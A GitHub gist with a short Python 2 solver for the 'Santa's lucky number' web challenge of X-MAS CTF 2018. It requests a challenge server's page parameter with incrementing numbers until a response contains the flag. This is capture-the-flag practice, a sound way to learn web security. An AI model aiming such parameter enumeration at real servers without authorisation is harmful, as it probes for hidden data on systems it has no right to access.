Created
December 22, 2018 19:04
-
-
Save KaoRz/bbc20ffc9f6b7aed658bb93a9841b353 to your computer and use it in GitHub Desktop.
Santa's lucky number - Web Challenge | X-MAS CTF 2018
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import urllib2 | |
def request(number): | |
url = 'http://199.247.6.180:12005/?page=' + str(number) | |
request = urllib2.Request(url) | |
response = urllib2.urlopen(request) | |
body = response.read() | |
return body.split("\n")[len(body.split("\n")) - 2][:-4] | |
cont = 0 | |
while(True): | |
response = request(cont) | |
if 'X-MAS' in response: | |
print 'FLAG: ' + response | |
break | |
print 'Response(' + str(cont) + '): ' + response | |
cont = cont + 1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment